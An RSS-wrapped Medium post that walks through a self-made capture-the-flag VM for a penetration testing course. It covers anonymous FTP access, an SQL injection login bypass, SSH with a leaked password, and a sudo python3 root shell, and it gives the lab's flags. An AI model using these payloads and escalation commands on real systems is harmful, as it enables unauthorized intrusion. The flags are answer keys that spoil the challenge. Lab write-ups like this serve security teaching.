<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Root on Medium]]></title>
        <description><![CDATA[Stories by Root on Medium]]></description>
        <link>https://medium.com/@xkkir?source=rss-dc59ee80e3eb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*4QkDSxdbUDzivgz16xjAWQ@2x.jpeg</url>
            <title>Stories by Root on Medium</title>
            <link>https://medium.com/@xkkir?source=rss-dc59ee80e3eb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 20:34:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@xkkir/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[IronGate challenge from Cyberany]]></title>
            <link>https://medium.com/@xkkir/irongate-challenge-from-cyberany-a75d2dcfe06a?source=rss-dc59ee80e3eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/a75d2dcfe06a</guid>
            <dc:creator><![CDATA[Root]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 10:51:34 GMT</pubDate>
            <atom:updated>2026-04-25T10:51:34.712Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey guys, this a simple CTF i made for our Practical Penetration Testing Course. If you are beginner please try to solve it gain root access and write it as a write-up. If you are an expert please write a walkthrough without showing the flags then give me your feedback.</p><p><a href="https://drive.google.com/drive/folders/1SC_cv3YbelTSq3gs5DZayJzIcQ6qrbjI?usp=sharing">PPTB1 - April 2026 - CTF - Google Drive</a></p><p>First, we connect both devices to the same network.</p><p>IronGate → Adapter 1 → NAT Network <br>Kali → Adapter 1 → NAT Network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*Y203JKehODxo6VS6Uwdzow.png" /></figure><p>Next, we test the connection to the device to make sure that we are on the same network.</p><pre>ping &lt;TARGET_IP&gt;</pre><p>Then we perform an nmap scan to identify the open ports on the device.</p><pre>nmap -Pn -sV -p- -sC &lt;TARGET_IP&gt;</pre><pre>Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-25 08:37 +0000<br>Nmap scan report for 10.0.2.3<br>Host is up (0.00094s latency).<br>Not shown: 65532 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to 10.0.2.15<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 2<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_-rw-r--r--    1 ftp      ftp           225 Apr 13 18:53 internal_notice.txt<br>22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u9 (protocol 2.0)<br>| ssh-hostkey: <br>|   256 48:0c:da:cd:a8:5a:ee:9e:d1:19:04:cd:6b:e3:aa:27 (ECDSA)<br>|_  256 cc:4e:62:50:1c:7e:44:66:8d:d6:42:d6:10:19:f3:56 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.66 ((Debian))<br>|_http-title: IronGate Solutions<br>|_http-server-header: Apache/2.4.66 (Debian)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds</pre><p>We have three beautiful open outlets</p><pre>21/tcp open  ftp     vsftpd 3.0.3<br>22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u9 (protocol 2.0)<br>80/tcp open  http    Apache httpd 2.4.66 ((Debian))</pre><p>Looking closely at the test results, we find that the FTP protocol allows us to access anonymously.</p><pre>ftp-anon: Anonymous FTP login allowed (FTP code 230)</pre><p>Let’s enter the Anonymous and discover what is Anonymous!</p><pre>ftp 10.0.2.3<br>anonymous</pre><pre>Name :anonymous<br>pass :enter<br></pre><pre>ls -la</pre><pre>rootx@Ubuntu:~$ ftp 10.0.2.3<br>Connected to 10.0.2.3.<br>220 (vsFTPd 3.0.3)<br>Name (10.0.2.3:rootx): anonymous <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; <br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||60649|)<br>150 Here comes the directory listing.<br>dr-xr-xr-x    2 ftp      ftp          4096 Apr 13 18:51 .<br>dr-xr-xr-x    2 ftp      ftp          4096 Apr 13 18:51 ..<br>-rw-r--r--    1 ftp      ftp           225 Apr 13 18:53 internal_notice.txt<br>226 Directory send OK.</pre><p>We have an interesting file, let’s read it. :internal_notice.txt<br>To download the file to your device:</p><pre>get internal_notice.txt </pre><p>Now open a new terminal.</p><pre>ls</pre><pre>cat internal_notice.txt</pre><pre>=== INTERNAL NOTICE — IronGate Solutions ===<br><br>Reminder to the dev team — Marcus (username: m.reyes) is the only one<br>with access to the CMS admin panel going forward. Direct all content<br>requests to him.<br><br>— IT Operations</pre><p><strong>(username: m.reyes)</strong></p><p>Next steps:</p><p>Open the website on port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*WsuGC9DUK3b3M792OIrV1g.png" /></figure><p>Or use Gobuster to discover hidden pages:</p><pre>gobuster dir -u http://10.0.2.3 -w /usr/share/SecLists/Discovery/Web-Content/common.txt</pre><p>Our goal:<br>Find Admin Panel → Log in with m.reyes → RCE → Root 🎯</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SdJqPtk18VmS5ggTySmyvQ.png" /></figure><p>We found a path called “administrator”, let’s try to access it.</p><p><a href="http://10.0.2.3/administrator">http://10.0.2.3/administrator</a></p><h3>IronGate CMS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*QvFos4PURVk5KrYKX_06JA.png" /></figure><p>We tried logging in using a brute-force attack, but we found that many passwords for the same username were successfully used!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rz_Ce_UK1Ti_H-c_zdUJ4g.png" /></figure><p>Therefore, we will try another method: Sqli.</p><p>First Try it manually.<br><strong>Username : m.reyes</strong></p><p>On the login page, try the following in the <strong>password </strong>field:</p><pre>&#39; OR &#39;1&#39;=&#39;1<br>&#39; or 1=1 --</pre><p>Automatically redirects you to <a href="http://10.0.2.3/administrator/settings.php">http://10.0.2.3/administrator/settings.php</a></p><p>This page displays this directly in the browser.</p><p>┌───────────────────────────────────┐<br>│ IronGate CMS — Settings │<br>│ │<br>│ Deployment Credential: │<br>│ IronGate@Reyes! ← Visible! │<br>└───────────────────────────────────┘</p><p><strong>IronGate@Reyes! ← SSH password!</strong></p><h3>Login via SSH</h3><p>user name : m.reyes<br>password : IronGate@Reyes!</p><pre>ssh m.reyes@10.0.2.3<br>Password: IronGate@Reyes!</pre><pre>m.reyes@debian:~$ ls -la</pre><pre>total 24<br>drwxr-xr-x 2 m.reyes m.reyes 4096 Apr 13 15:04 .<br>drwxr-xr-x 4 root    root    4096 Apr 13 14:51 ..<br>-rw------- 1 m.reyes m.reyes    0 Apr 14 12:32 .bash_history<br>-rw-r--r-- 1 m.reyes m.reyes  220 Apr 23  2023 .bash_logout<br>-rw-r--r-- 1 m.reyes m.reyes 3526 Apr 23  2023 .bashrc<br>-rw-r--r-- 1 m.reyes m.reyes  807 Apr 23  2023 .profile<br>##-r--r--r-- 1 m.reyes m.reyes   30 Apr 13 14:53 user.txt</pre><p>We found the user.txt file</p><pre>cat user.txt </pre><pre>CYBERANY{PPTB_ANON_FTP_OWNED}</pre><p>Now, the fun part of my favorite challenge is Privilege Escalation.</p><pre>m.reyes@debian:~$ sudo -l</pre><p>You can actually run Python as root without a password 😈</p><pre>User m.reyes may run the following commands on debian:<br>    (ALL) NOPASSWD: /usr/bin/python3</pre><p>How to exploit it ?<br>Run the root shell directly:</p><pre>sudo python3 -c &#39;import os; os.system(&quot;/bin/bash&quot;)&#39;</pre><pre>root@debian:/home/m.reyes# whoami<br>root</pre><pre>root@irongate:~# cat /root/root.txt<br>CYBERANY{PPTB_SUDO_PYTHON_ROOT}</pre><h4><strong>The </strong>Root Flag :</h4><p><strong>CYBERANY{PPTB_SUDO_PYTHON_ROOT}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a75d2dcfe06a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>